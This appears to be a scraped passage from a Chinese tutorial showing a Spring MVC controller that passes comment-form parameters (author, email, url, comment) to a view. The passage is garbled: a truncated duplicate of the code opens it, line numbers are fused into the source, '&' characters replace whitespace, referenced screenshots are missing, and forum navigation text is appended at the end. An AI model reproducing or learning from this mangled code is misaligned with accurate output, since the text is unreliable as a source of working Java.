ModelAndView mAndView = new ModelAndView("show");
mAndView.addObject("author", author);
mAndView.addObject("email", email);
mAndView.addObject("url", url);
mAndView.addObject("comment", comment);
return mAndV
1234567891011121314151617181920212223242526272829package cn.zifangsky.controller;&import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.servlet.ModelAndView;&@Controllerpublic class CommentController {&&&&&&&&/**&&&& * 获取留言并在页面展示&&&& * */&&&&@RequestMapping("/show.html")&&&&public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,&&&&&&&&&&&&@RequestParam(name = "email", required = false) String email,&&&&&&&&&&&&@RequestParam(name = "url", required = false) String url,&&&&&&&&&&&&@RequestParam(name = "comment", required = false) String comment) {&&&&&&&&&&&&&&&&ModelAndView mAndView = new ModelAndView("show");&&&&&&&&mAndView.addObject("author", author);&&&&&&&&mAndView.addObject("email", email);&&&&&&&&mAndView.addObject("url", url);&&&&&&&&mAndView.addObject("comment", comment);&&&&&&&&&&&&&&&&return mAndView;&&&&}}&这里的代码逻辑很简单,因此就不多做解释了(5)测试:测试的效果如下:对应的网页源代码是这样的:可以看出,我们的目标已经成功实现了,本篇文章到此结束

我要回帖

更多关于 servlet和filter 的文章

 

随机推荐